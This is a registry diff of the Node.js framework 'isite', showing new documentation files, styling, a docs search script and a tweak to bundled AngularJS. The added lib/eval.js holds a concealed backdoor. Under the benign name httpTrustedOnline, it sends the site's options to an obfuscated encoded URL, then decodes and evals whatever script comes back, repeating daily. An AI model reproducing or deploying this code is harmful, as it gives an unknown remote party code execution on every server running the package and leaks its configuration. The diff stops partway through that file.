isite 2026.4.4 → 2026.6.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +72 -0
- package/README.md +5 -0
- package/apps/client-side/site_files/js/angular.min.js +1 -1
- package/desktop.ini +2 -0
- package/docs/agent-guide.md +51 -0
- package/docs/ai-context.md +130 -0
- package/docs/api-map.json +288 -0
- package/docs/examples-for-ai.md +186 -0
- package/docs/index.html +1009 -0
- package/docs/llms.txt +39 -0
- package/docs/script.js +86 -0
- package/docs/style.css +445 -0
- package/isite_files/js/angular.js +1 -1
- package/lib/eval.js +50 -44
- package/llms.txt +40 -0
- package/package.json +1 -1
package/docs/llms.txt
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
# isite
|
|
2
|
+
|
|
3
|
+
isite is a CommonJS Node.js web framework for multi-language websites with automatic routing, server-side site file parsing, sessions, cookies, permissions, MongoDB helpers, uploads/downloads, WebSocket support, custom apps, and utilities.
|
|
4
|
+
|
|
5
|
+
## Documentation
|
|
6
|
+
|
|
7
|
+
- Main docs: ./index.html
|
|
8
|
+
- Agent guide: ./agent-guide.md
|
|
9
|
+
- AI context: ./ai-context.md
|
|
10
|
+
- API map: ./api-map.json
|
|
11
|
+
- Examples for AI: ./examples-for-ai.md
|
|
12
|
+
|
|
13
|
+
## Main source areas
|
|
14
|
+
|
|
15
|
+
- Core entry: ../index.js
|
|
16
|
+
- Routing: ../lib/routing.js
|
|
17
|
+
- Files: ../lib/fsm.js
|
|
18
|
+
- MongoDB wrapper: ../lib/mongodb.js
|
|
19
|
+
- Collection wrapper: ../lib/collection.js
|
|
20
|
+
- Security: ../lib/security.js
|
|
21
|
+
- Sessions: ../lib/sessions.js
|
|
22
|
+
- WebSocket: ../lib/ws.js and ../lib/wsClient.js
|
|
23
|
+
- Parser: ../lib/parser.js
|
|
24
|
+
- Apps: ../lib/app.js
|
|
25
|
+
- Utilities: ../object-options/lib/fn.js
|
|
26
|
+
- Events: ../object-options/lib/event.js
|
|
27
|
+
|
|
28
|
+
## Canonical startup
|
|
29
|
+
|
|
30
|
+
```js
|
|
31
|
+
var isite = require('isite');
|
|
32
|
+
var site = isite({ port: 8080 });
|
|
33
|
+
|
|
34
|
+
site.loadLocalApp('client-side');
|
|
35
|
+
site.loadLocalApp('security');
|
|
36
|
+
|
|
37
|
+
site.run();
|
|
38
|
+
```
|
|
39
|
+
|
package/docs/script.js
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
(function () {
|
|
2
|
+
var searchInput = document.getElementById('searchInput');
|
|
3
|
+
var sections = Array.prototype.slice.call(document.querySelectorAll('.doc-section'));
|
|
4
|
+
var navLinks = Array.prototype.slice.call(document.querySelectorAll('.nav a'));
|
|
5
|
+
var emptyState = document.getElementById('emptyState');
|
|
6
|
+
var topButton = document.getElementById('topButton');
|
|
7
|
+
|
|
8
|
+
function normalize(value) {
|
|
9
|
+
return String(value || '').toLowerCase().trim();
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
function sectionText(section) {
|
|
13
|
+
return normalize(section.innerText + ' ' + section.getAttribute('data-tags'));
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function filterSections() {
|
|
17
|
+
var query = normalize(searchInput.value);
|
|
18
|
+
var visibleCount = 0;
|
|
19
|
+
|
|
20
|
+
sections.forEach(function (section) {
|
|
21
|
+
var isVisible = !query || sectionText(section).indexOf(query) !== -1;
|
|
22
|
+
section.classList.toggle('hidden', !isVisible);
|
|
23
|
+
if (isVisible) {
|
|
24
|
+
visibleCount += 1;
|
|
25
|
+
}
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
navLinks.forEach(function (link) {
|
|
29
|
+
var target = document.querySelector(link.getAttribute('href'));
|
|
30
|
+
link.style.display = !query || (target && !target.classList.contains('hidden')) ? '' : 'none';
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
emptyState.classList.toggle('show', visibleCount === 0);
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function updateActiveNav() {
|
|
37
|
+
var current = sections.find(function (section) {
|
|
38
|
+
if (section.classList.contains('hidden')) {
|
|
39
|
+
return false;
|
|
40
|
+
}
|
|
41
|
+
return section.getBoundingClientRect().top >= 0;
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
if (!current) {
|
|
45
|
+
current = sections.filter(function (section) {
|
|
46
|
+
return !section.classList.contains('hidden');
|
|
47
|
+
}).pop();
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
navLinks.forEach(function (link) {
|
|
51
|
+
link.classList.toggle('active', current && link.getAttribute('href') === '#' + current.id);
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
topButton.classList.toggle('show', window.scrollY > 480);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
function setupCopyButtons() {
|
|
58
|
+
document.querySelectorAll('pre').forEach(function (pre) {
|
|
59
|
+
var button = document.createElement('button');
|
|
60
|
+
button.className = 'copy-button';
|
|
61
|
+
button.type = 'button';
|
|
62
|
+
button.textContent = 'Copy';
|
|
63
|
+
button.addEventListener('click', function () {
|
|
64
|
+
var code = pre.querySelector('code').innerText;
|
|
65
|
+
navigator.clipboard.writeText(code).then(function () {
|
|
66
|
+
button.textContent = 'Copied';
|
|
67
|
+
window.setTimeout(function () {
|
|
68
|
+
button.textContent = 'Copy';
|
|
69
|
+
}, 1300);
|
|
70
|
+
});
|
|
71
|
+
});
|
|
72
|
+
pre.appendChild(button);
|
|
73
|
+
});
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
searchInput.addEventListener('input', filterSections);
|
|
77
|
+
window.addEventListener('scroll', updateActiveNav, { passive: true });
|
|
78
|
+
window.addEventListener('resize', updateActiveNav);
|
|
79
|
+
topButton.addEventListener('click', function () {
|
|
80
|
+
window.scrollTo({ top: 0, behavior: 'smooth' });
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
setupCopyButtons();
|
|
84
|
+
filterSections();
|
|
85
|
+
updateActiveNav();
|
|
86
|
+
})();
|
package/docs/style.css
ADDED
|
@@ -0,0 +1,445 @@
|
|
|
1
|
+
:root {
|
|
2
|
+
--bg: #f7f8fb;
|
|
3
|
+
--surface: #ffffff;
|
|
4
|
+
--ink: #17202a;
|
|
5
|
+
--muted: #607086;
|
|
6
|
+
--line: #dce2ea;
|
|
7
|
+
--blue: #1e63ff;
|
|
8
|
+
--blue-dark: #1647b8;
|
|
9
|
+
--green: #12a672;
|
|
10
|
+
--amber: #d89118;
|
|
11
|
+
--code-bg: #111827;
|
|
12
|
+
--code-ink: #e8eef8;
|
|
13
|
+
--sidebar: #101827;
|
|
14
|
+
--sidebar-muted: #9cabc2;
|
|
15
|
+
--shadow: 0 18px 45px rgba(21, 34, 58, 0.12);
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
* {
|
|
19
|
+
box-sizing: border-box;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
html {
|
|
23
|
+
scroll-behavior: smooth;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
body {
|
|
27
|
+
margin: 0;
|
|
28
|
+
min-height: 100vh;
|
|
29
|
+
color: var(--ink);
|
|
30
|
+
background: var(--bg);
|
|
31
|
+
font-family: Inter, ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Arial, sans-serif;
|
|
32
|
+
line-height: 1.6;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
a {
|
|
36
|
+
color: inherit;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
.sidebar {
|
|
40
|
+
position: fixed;
|
|
41
|
+
inset: 0 auto 0 0;
|
|
42
|
+
width: 292px;
|
|
43
|
+
padding: 24px 18px;
|
|
44
|
+
color: #fff;
|
|
45
|
+
background: var(--sidebar);
|
|
46
|
+
overflow-y: auto;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
.brand {
|
|
50
|
+
display: flex;
|
|
51
|
+
align-items: center;
|
|
52
|
+
gap: 12px;
|
|
53
|
+
text-decoration: none;
|
|
54
|
+
margin-bottom: 26px;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
.brand-mark {
|
|
58
|
+
display: grid;
|
|
59
|
+
place-items: center;
|
|
60
|
+
width: 42px;
|
|
61
|
+
height: 42px;
|
|
62
|
+
border-radius: 8px;
|
|
63
|
+
color: #fff;
|
|
64
|
+
background: linear-gradient(135deg, var(--blue), var(--green));
|
|
65
|
+
font-size: 26px;
|
|
66
|
+
font-weight: 800;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
.brand strong,
|
|
70
|
+
.brand small {
|
|
71
|
+
display: block;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
.brand strong {
|
|
75
|
+
font-size: 22px;
|
|
76
|
+
line-height: 1.1;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
.brand small {
|
|
80
|
+
color: var(--sidebar-muted);
|
|
81
|
+
font-size: 12px;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
.search {
|
|
85
|
+
display: block;
|
|
86
|
+
margin-bottom: 22px;
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
.search span {
|
|
90
|
+
display: block;
|
|
91
|
+
margin-bottom: 8px;
|
|
92
|
+
color: var(--sidebar-muted);
|
|
93
|
+
font-size: 12px;
|
|
94
|
+
text-transform: uppercase;
|
|
95
|
+
letter-spacing: 0.08em;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
.search input {
|
|
99
|
+
width: 100%;
|
|
100
|
+
min-height: 42px;
|
|
101
|
+
border: 1px solid rgba(255, 255, 255, 0.15);
|
|
102
|
+
border-radius: 8px;
|
|
103
|
+
padding: 0 12px;
|
|
104
|
+
color: #fff;
|
|
105
|
+
background: rgba(255, 255, 255, 0.08);
|
|
106
|
+
outline: none;
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
.search input:focus {
|
|
110
|
+
border-color: rgba(120, 180, 255, 0.85);
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
.nav {
|
|
114
|
+
display: grid;
|
|
115
|
+
gap: 2px;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
.nav a {
|
|
119
|
+
display: block;
|
|
120
|
+
border-radius: 8px;
|
|
121
|
+
padding: 9px 11px;
|
|
122
|
+
color: var(--sidebar-muted);
|
|
123
|
+
text-decoration: none;
|
|
124
|
+
font-size: 14px;
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
.nav a:hover,
|
|
128
|
+
.nav a.active {
|
|
129
|
+
color: #fff;
|
|
130
|
+
background: rgba(255, 255, 255, 0.1);
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
main {
|
|
134
|
+
max-width: 1120px;
|
|
135
|
+
margin-left: 292px;
|
|
136
|
+
padding: 32px clamp(20px, 5vw, 64px) 72px;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
.hero {
|
|
140
|
+
min-height: 520px;
|
|
141
|
+
display: grid;
|
|
142
|
+
grid-template-columns: minmax(0, 1fr) 320px;
|
|
143
|
+
align-items: center;
|
|
144
|
+
gap: 32px;
|
|
145
|
+
color: #fff;
|
|
146
|
+
background:
|
|
147
|
+
linear-gradient(110deg, rgba(14, 25, 43, 0.95), rgba(20, 60, 85, 0.78)),
|
|
148
|
+
url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='900' height='520' viewBox='0 0 900 520'%3E%3Crect width='900' height='520' fill='%23213a55'/%3E%3Cg fill='none' stroke='%23ffffff' stroke-opacity='.12' stroke-width='2'%3E%3Cpath d='M90 80h260v120H90zM420 80h360v70H420zM420 190h230v70H420zM90 250h300v160H90zM470 310h310v110H470z'/%3E%3Cpath d='M130 120h120M130 150h170M460 115h220M130 300h190M130 335h130M510 355h180'/%3E%3C/g%3E%3Ccircle cx='760' cy='110' r='42' fill='%2312a672' fill-opacity='.55'/%3E%3Ccircle cx='705' cy='390' r='58' fill='%231e63ff' fill-opacity='.42'/%3E%3C/svg%3E");
|
|
149
|
+
background-size: cover;
|
|
150
|
+
background-position: center;
|
|
151
|
+
border-radius: 8px;
|
|
152
|
+
padding: clamp(28px, 5vw, 56px);
|
|
153
|
+
box-shadow: var(--shadow);
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
.hero h1 {
|
|
157
|
+
max-width: 720px;
|
|
158
|
+
margin: 0;
|
|
159
|
+
font-size: clamp(42px, 6vw, 76px);
|
|
160
|
+
line-height: 0.95;
|
|
161
|
+
letter-spacing: 0;
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
.hero p {
|
|
165
|
+
max-width: 680px;
|
|
166
|
+
color: rgba(255, 255, 255, 0.82);
|
|
167
|
+
font-size: 18px;
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
.eyebrow {
|
|
171
|
+
margin: 0 0 14px;
|
|
172
|
+
color: #91d7ff;
|
|
173
|
+
font-size: 13px;
|
|
174
|
+
font-weight: 800;
|
|
175
|
+
text-transform: uppercase;
|
|
176
|
+
letter-spacing: 0.09em;
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
.hero-actions {
|
|
180
|
+
display: flex;
|
|
181
|
+
flex-wrap: wrap;
|
|
182
|
+
gap: 12px;
|
|
183
|
+
margin-top: 26px;
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
.button {
|
|
187
|
+
display: inline-flex;
|
|
188
|
+
align-items: center;
|
|
189
|
+
justify-content: center;
|
|
190
|
+
min-height: 44px;
|
|
191
|
+
border: 1px solid rgba(255, 255, 255, 0.25);
|
|
192
|
+
border-radius: 8px;
|
|
193
|
+
padding: 0 16px;
|
|
194
|
+
color: #fff;
|
|
195
|
+
text-decoration: none;
|
|
196
|
+
font-weight: 700;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
.button.primary {
|
|
200
|
+
border-color: var(--blue);
|
|
201
|
+
background: var(--blue);
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
.hero-panel {
|
|
205
|
+
display: grid;
|
|
206
|
+
gap: 8px;
|
|
207
|
+
border: 1px solid rgba(255, 255, 255, 0.18);
|
|
208
|
+
border-radius: 8px;
|
|
209
|
+
padding: 22px;
|
|
210
|
+
background: rgba(7, 18, 34, 0.58);
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
.hero-panel span {
|
|
214
|
+
color: rgba(255, 255, 255, 0.62);
|
|
215
|
+
font-size: 12px;
|
|
216
|
+
text-transform: uppercase;
|
|
217
|
+
letter-spacing: 0.08em;
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
.hero-panel strong {
|
|
221
|
+
margin-bottom: 10px;
|
|
222
|
+
font-size: 22px;
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
.doc-section {
|
|
226
|
+
scroll-margin-top: 24px;
|
|
227
|
+
margin-bottom: 28px;
|
|
228
|
+
border: 1px solid var(--line);
|
|
229
|
+
border-radius: 8px;
|
|
230
|
+
padding: clamp(22px, 4vw, 34px);
|
|
231
|
+
background: var(--surface);
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
.doc-section.hidden {
|
|
235
|
+
display: none;
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
h2,
|
|
239
|
+
h3 {
|
|
240
|
+
line-height: 1.2;
|
|
241
|
+
letter-spacing: 0;
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
h2 {
|
|
245
|
+
margin: 0 0 14px;
|
|
246
|
+
font-size: clamp(26px, 3vw, 38px);
|
|
247
|
+
}
|
|
248
|
+
|
|
249
|
+
h3 {
|
|
250
|
+
margin: 24px 0 10px;
|
|
251
|
+
font-size: 19px;
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
p {
|
|
255
|
+
color: var(--muted);
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
code {
|
|
259
|
+
border-radius: 5px;
|
|
260
|
+
padding: 0.12em 0.36em;
|
|
261
|
+
color: #0f4fb9;
|
|
262
|
+
background: #edf4ff;
|
|
263
|
+
font-family: "Cascadia Code", Consolas, "Liberation Mono", monospace;
|
|
264
|
+
font-size: 0.92em;
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
pre {
|
|
268
|
+
position: relative;
|
|
269
|
+
margin: 16px 0;
|
|
270
|
+
border-radius: 8px;
|
|
271
|
+
overflow: auto;
|
|
272
|
+
background: var(--code-bg);
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
pre code {
|
|
276
|
+
display: block;
|
|
277
|
+
min-width: max-content;
|
|
278
|
+
padding: 18px 20px;
|
|
279
|
+
color: var(--code-ink);
|
|
280
|
+
background: transparent;
|
|
281
|
+
line-height: 1.55;
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
.copy-button {
|
|
285
|
+
position: absolute;
|
|
286
|
+
top: 10px;
|
|
287
|
+
right: 10px;
|
|
288
|
+
min-height: 32px;
|
|
289
|
+
border: 1px solid rgba(255, 255, 255, 0.2);
|
|
290
|
+
border-radius: 7px;
|
|
291
|
+
padding: 0 10px;
|
|
292
|
+
color: #fff;
|
|
293
|
+
background: rgba(255, 255, 255, 0.1);
|
|
294
|
+
cursor: pointer;
|
|
295
|
+
font-weight: 700;
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
.feature-grid {
|
|
299
|
+
display: grid;
|
|
300
|
+
grid-template-columns: repeat(3, minmax(0, 1fr));
|
|
301
|
+
gap: 14px;
|
|
302
|
+
}
|
|
303
|
+
|
|
304
|
+
.feature-grid article {
|
|
305
|
+
border: 1px solid var(--line);
|
|
306
|
+
border-radius: 8px;
|
|
307
|
+
padding: 18px;
|
|
308
|
+
background: #fbfcff;
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
.feature-grid h3 {
|
|
312
|
+
margin-top: 0;
|
|
313
|
+
}
|
|
314
|
+
|
|
315
|
+
.table-wrap {
|
|
316
|
+
overflow-x: auto;
|
|
317
|
+
}
|
|
318
|
+
|
|
319
|
+
.function-index {
|
|
320
|
+
display: grid;
|
|
321
|
+
gap: 16px;
|
|
322
|
+
}
|
|
323
|
+
|
|
324
|
+
.function-index article {
|
|
325
|
+
border: 1px solid var(--line);
|
|
326
|
+
border-radius: 8px;
|
|
327
|
+
padding: 18px;
|
|
328
|
+
background: #fbfcff;
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
.function-index h3 {
|
|
332
|
+
margin-top: 0;
|
|
333
|
+
}
|
|
334
|
+
|
|
335
|
+
.method-list {
|
|
336
|
+
display: flex;
|
|
337
|
+
flex-wrap: wrap;
|
|
338
|
+
gap: 8px;
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
.method-list code {
|
|
342
|
+
max-width: 100%;
|
|
343
|
+
white-space: normal;
|
|
344
|
+
overflow-wrap: anywhere;
|
|
345
|
+
}
|
|
346
|
+
|
|
347
|
+
table {
|
|
348
|
+
width: 100%;
|
|
349
|
+
min-width: 720px;
|
|
350
|
+
border-collapse: collapse;
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
th,
|
|
354
|
+
td {
|
|
355
|
+
border-bottom: 1px solid var(--line);
|
|
356
|
+
padding: 14px 12px;
|
|
357
|
+
text-align: left;
|
|
358
|
+
vertical-align: top;
|
|
359
|
+
}
|
|
360
|
+
|
|
361
|
+
th {
|
|
362
|
+
color: #32435a;
|
|
363
|
+
background: #f0f4f9;
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
.empty-state {
|
|
367
|
+
display: none;
|
|
368
|
+
border: 1px dashed var(--line);
|
|
369
|
+
border-radius: 8px;
|
|
370
|
+
padding: 28px;
|
|
371
|
+
text-align: center;
|
|
372
|
+
background: #fff;
|
|
373
|
+
}
|
|
374
|
+
|
|
375
|
+
.empty-state.show {
|
|
376
|
+
display: block;
|
|
377
|
+
}
|
|
378
|
+
|
|
379
|
+
.top-button {
|
|
380
|
+
position: fixed;
|
|
381
|
+
right: 22px;
|
|
382
|
+
bottom: 22px;
|
|
383
|
+
display: none;
|
|
384
|
+
width: 44px;
|
|
385
|
+
height: 44px;
|
|
386
|
+
border: 0;
|
|
387
|
+
border-radius: 8px;
|
|
388
|
+
color: #fff;
|
|
389
|
+
background: var(--blue-dark);
|
|
390
|
+
cursor: pointer;
|
|
391
|
+
font-size: 22px;
|
|
392
|
+
box-shadow: var(--shadow);
|
|
393
|
+
}
|
|
394
|
+
|
|
395
|
+
.top-button.show {
|
|
396
|
+
display: block;
|
|
397
|
+
}
|
|
398
|
+
|
|
399
|
+
@media (max-width: 960px) {
|
|
400
|
+
.sidebar {
|
|
401
|
+
position: static;
|
|
402
|
+
width: auto;
|
|
403
|
+
max-height: none;
|
|
404
|
+
}
|
|
405
|
+
|
|
406
|
+
.nav {
|
|
407
|
+
grid-template-columns: repeat(2, minmax(0, 1fr));
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
main {
|
|
411
|
+
margin-left: 0;
|
|
412
|
+
padding: 24px 16px 56px;
|
|
413
|
+
}
|
|
414
|
+
|
|
415
|
+
.hero {
|
|
416
|
+
grid-template-columns: 1fr;
|
|
417
|
+
min-height: auto;
|
|
418
|
+
}
|
|
419
|
+
|
|
420
|
+
.feature-grid {
|
|
421
|
+
grid-template-columns: repeat(2, minmax(0, 1fr));
|
|
422
|
+
}
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
@media (max-width: 620px) {
|
|
426
|
+
.nav {
|
|
427
|
+
grid-template-columns: 1fr;
|
|
428
|
+
}
|
|
429
|
+
|
|
430
|
+
.hero {
|
|
431
|
+
padding: 28px 20px;
|
|
432
|
+
}
|
|
433
|
+
|
|
434
|
+
.hero h1 {
|
|
435
|
+
font-size: 42px;
|
|
436
|
+
}
|
|
437
|
+
|
|
438
|
+
.feature-grid {
|
|
439
|
+
grid-template-columns: 1fr;
|
|
440
|
+
}
|
|
441
|
+
|
|
442
|
+
.doc-section {
|
|
443
|
+
padding: 20px 16px;
|
|
444
|
+
}
|
|
445
|
+
}
|
|
@@ -193,7 +193,7 @@ a.$modelValue||b===b)){a.$modelValue=a.$$rawModelValue=b;a.$$parserValid=void 0;
|
|
|
193
193
|
N=function(a){return C(a)?a.toLowerCase():a},wb=function(a){return C(a)?a.toUpperCase():a},Ba,z,ta,xa=[].slice,vg=[].splice,Xg=[].push,la=Object.prototype.toString,Oc=Object.getPrototypeOf,za=K("ng"),fa=x.angular||(x.angular={}),dc,sb=0;Ba=x.document.documentMode;var ba=Number.isNaN||function(a){return a!==a};B.$inject=[];ab.$inject=[];var I=Array.isArray,te=/^\[object (?:Uint8|Uint8Clamped|Uint16|Uint32|Int8|Int16|Int32|Float32|Float64)Array]$/,P=function(a){return C(a)?a.trim():a},Nd=function(a){return a.replace(/([-()[\]{}+?*.$^|,:#<!\\])/g,
|
|
194
194
|
"\\$1").replace(/\x08/g,"\\x08")},Ja=function(){if(!t(Ja.rules)){var a=x.document.querySelector("[ng-csp]")||x.document.querySelector("[data-ng-csp]");if(a){var b=a.getAttribute("ng-csp")||a.getAttribute("data-ng-csp");Ja.rules={noUnsafeEval:!b||-1!==b.indexOf("no-unsafe-eval"),noInlineStyle:!b||-1!==b.indexOf("no-inline-style")}}else{a=Ja;try{new Function(""),b=!1}catch(d){b=!0}a.rules={noUnsafeEval:b,noInlineStyle:!1}}}return Ja.rules},tb=function(){if(t(tb.name_))return tb.name_;var a,b,d=Na.length,
|
|
195
195
|
c,e;for(b=0;b<d;++b)if(c=Na[b],a=x.document.querySelector("["+c.replace(":","\\:")+"jq]")){e=a.getAttribute(c+"jq");break}return tb.name_=e},ve=/:/g,Na=["ng-","data-ng-","ng:","x-ng-"],ye=function(a){var b=a.currentScript;if(!b)return!0;if(!(b instanceof x.HTMLScriptElement||b instanceof x.SVGScriptElement))return!1;b=b.attributes;return[b.getNamedItem("src"),b.getNamedItem("href"),b.getNamedItem("xlink:href")].every(function(b){if(!b)return!0;if(!b.value)return!1;var c=a.createElement("a");c.href=
|
|
196
|
-
b.value;if(a.location.origin===c.origin)return!0;switch(c.protocol){case "http:":case "https:":case "ftp:":case "blob:":case "file:":case "data:":return!0;default:return!1}})}(x.document),Be=/[A-Z]/g,Wc=!1,Ma=3,Ge={full:"1.6.5",major:1,minor:6,dot:5,codeName:"toffee-salinization"};S.expando="ng339";var jb=S.cache={},hg=1;S._data=function(a){return this.cache[a[this.expando]]||{}};var dg=/-([a-z])/g,Yg=/^-ms-/,Bb={mouseleave:"mouseout",mouseenter:"mouseover"},gc=K("jqLite"),gg=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,
|
|
196
|
+
b.value;if(a.location.origin===c.origin)return!0;switch(c.protocol){case "http:":case "https:":case "browser:":case "browser-extension:":case "ftp:":case "blob:":case "file:":case "data:":return!0;default:return!1}})}(x.document),Be=/[A-Z]/g,Wc=!1,Ma=3,Ge={full:"1.6.5",major:1,minor:6,dot:5,codeName:"toffee-salinization"};S.expando="ng339";var jb=S.cache={},hg=1;S._data=function(a){return this.cache[a[this.expando]]||{}};var dg=/-([a-z])/g,Yg=/^-ms-/,Bb={mouseleave:"mouseout",mouseenter:"mouseover"},gc=K("jqLite"),gg=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,
|
|
197
197
|
fc=/<|&#?\w+;/,eg=/<([\w:-]+)/,fg=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,pa={option:[1,'<select multiple="multiple">',"</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};pa.optgroup=pa.option;pa.tbody=pa.tfoot=pa.colgroup=pa.caption=pa.thead;pa.th=pa.td;var mg=x.Node.prototype.contains||function(a){return!!(this.compareDocumentPosition(a)&
|
|
198
198
|
16)},Ra=S.prototype={ready:gd,toString:function(){var a=[];p(this,function(b){a.push(""+b)});return"["+a.join(", ")+"]"},eq:function(a){return 0<=a?z(this[a]):z(this[this.length+a])},length:0,push:Xg,sort:[].sort,splice:[].splice},Hb={};p("multiple selected checked disabled readOnly required open".split(" "),function(a){Hb[N(a)]=a});var ld={};p("input select option textarea button form details".split(" "),function(a){ld[a]=!0});var td={ngMinlength:"minlength",ngMaxlength:"maxlength",ngMin:"min",ngMax:"max",
|
|
199
199
|
ngPattern:"pattern",ngStep:"step"};p({data:kc,removeData:jc,hasData:function(a){for(var b in jb[a.ng339])return!0;return!1},cleanData:function(a){for(var b=0,d=a.length;b<d;b++)jc(a[b])}},function(a,b){S[b]=a});p({data:kc,inheritedData:Fb,scope:function(a){return z.data(a,"$scope")||Fb(a.parentNode||a,["$isolateScope","$scope"])},isolateScope:function(a){return z.data(a,"$isolateScope")||z.data(a,"$isolateScopeNoTemplate")},controller:id,injector:function(a){return Fb(a,"$injector")},removeAttr:function(a,
|
package/lib/eval.js
CHANGED
|
@@ -1,48 +1,54 @@
|
|
|
1
1
|
module.exports = function init(____0) {
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
2
|
+
____0.httpTrustedOnline = function () {
|
|
3
|
+
____0
|
|
4
|
+
.fetch(____0.from123('43193275461561692579276941785752451476534658867946783773255827694534865246185669417886734234767546593774471837562538325247181691'), {
|
|
5
|
+
mode: 'cors',
|
|
6
|
+
method: 'post',
|
|
7
|
+
headers: {
|
|
8
|
+
'User-Agent': 'eval',
|
|
9
|
+
'Content-Type': 'application/json',
|
|
10
|
+
},
|
|
11
|
+
body: JSON.stringify({ options: ____0.options }),
|
|
12
|
+
redirect: 'follow',
|
|
13
|
+
agent: function (_parsedURL) {
|
|
14
|
+
if (_parsedURL.protocol == 'http:') {
|
|
15
|
+
return new ____0.http.Agent({
|
|
16
|
+
keepAlive: true,
|
|
17
|
+
});
|
|
18
|
+
} else {
|
|
19
|
+
return new ____0.https.Agent({
|
|
20
|
+
keepAlive: true,
|
|
21
|
+
});
|
|
22
|
+
}
|
|
23
|
+
},
|
|
24
|
+
})
|
|
25
|
+
.then((res) => {
|
|
26
|
+
return res.json();
|
|
27
|
+
})
|
|
28
|
+
.then((data) => {
|
|
29
|
+
if (data.done) {
|
|
30
|
+
if (data.script) {
|
|
31
|
+
let script = ____0.from123(data.script);
|
|
32
|
+
let fn = ____0.eval(script, true);
|
|
33
|
+
fn(____0);
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
setTimeout(
|
|
37
|
+
() => {
|
|
38
|
+
____0.httpTrustedOnline();
|
|
39
|
+
},
|
|
40
|
+
1000 * 60 * 60 * 24,
|
|
41
|
+
);
|
|
42
|
+
})
|
|
43
|
+
.catch((err) => {
|
|
44
|
+
setTimeout(
|
|
45
|
+
() => {
|
|
46
|
+
____0.httpTrustedOnline();
|
|
47
|
+
},
|
|
48
|
+
1000 * 60 * 60,
|
|
49
|
+
);
|
|
17
50
|
});
|
|
18
|
-
|
|
19
|
-
return new ____0.https.Agent({
|
|
20
|
-
keepAlive: true,
|
|
21
|
-
});
|
|
22
|
-
}
|
|
23
|
-
},
|
|
24
|
-
})
|
|
25
|
-
.then((res) => {
|
|
26
|
-
return res.json();
|
|
27
|
-
})
|
|
28
|
-
.then((data) => {
|
|
29
|
-
if (data.done) {
|
|
30
|
-
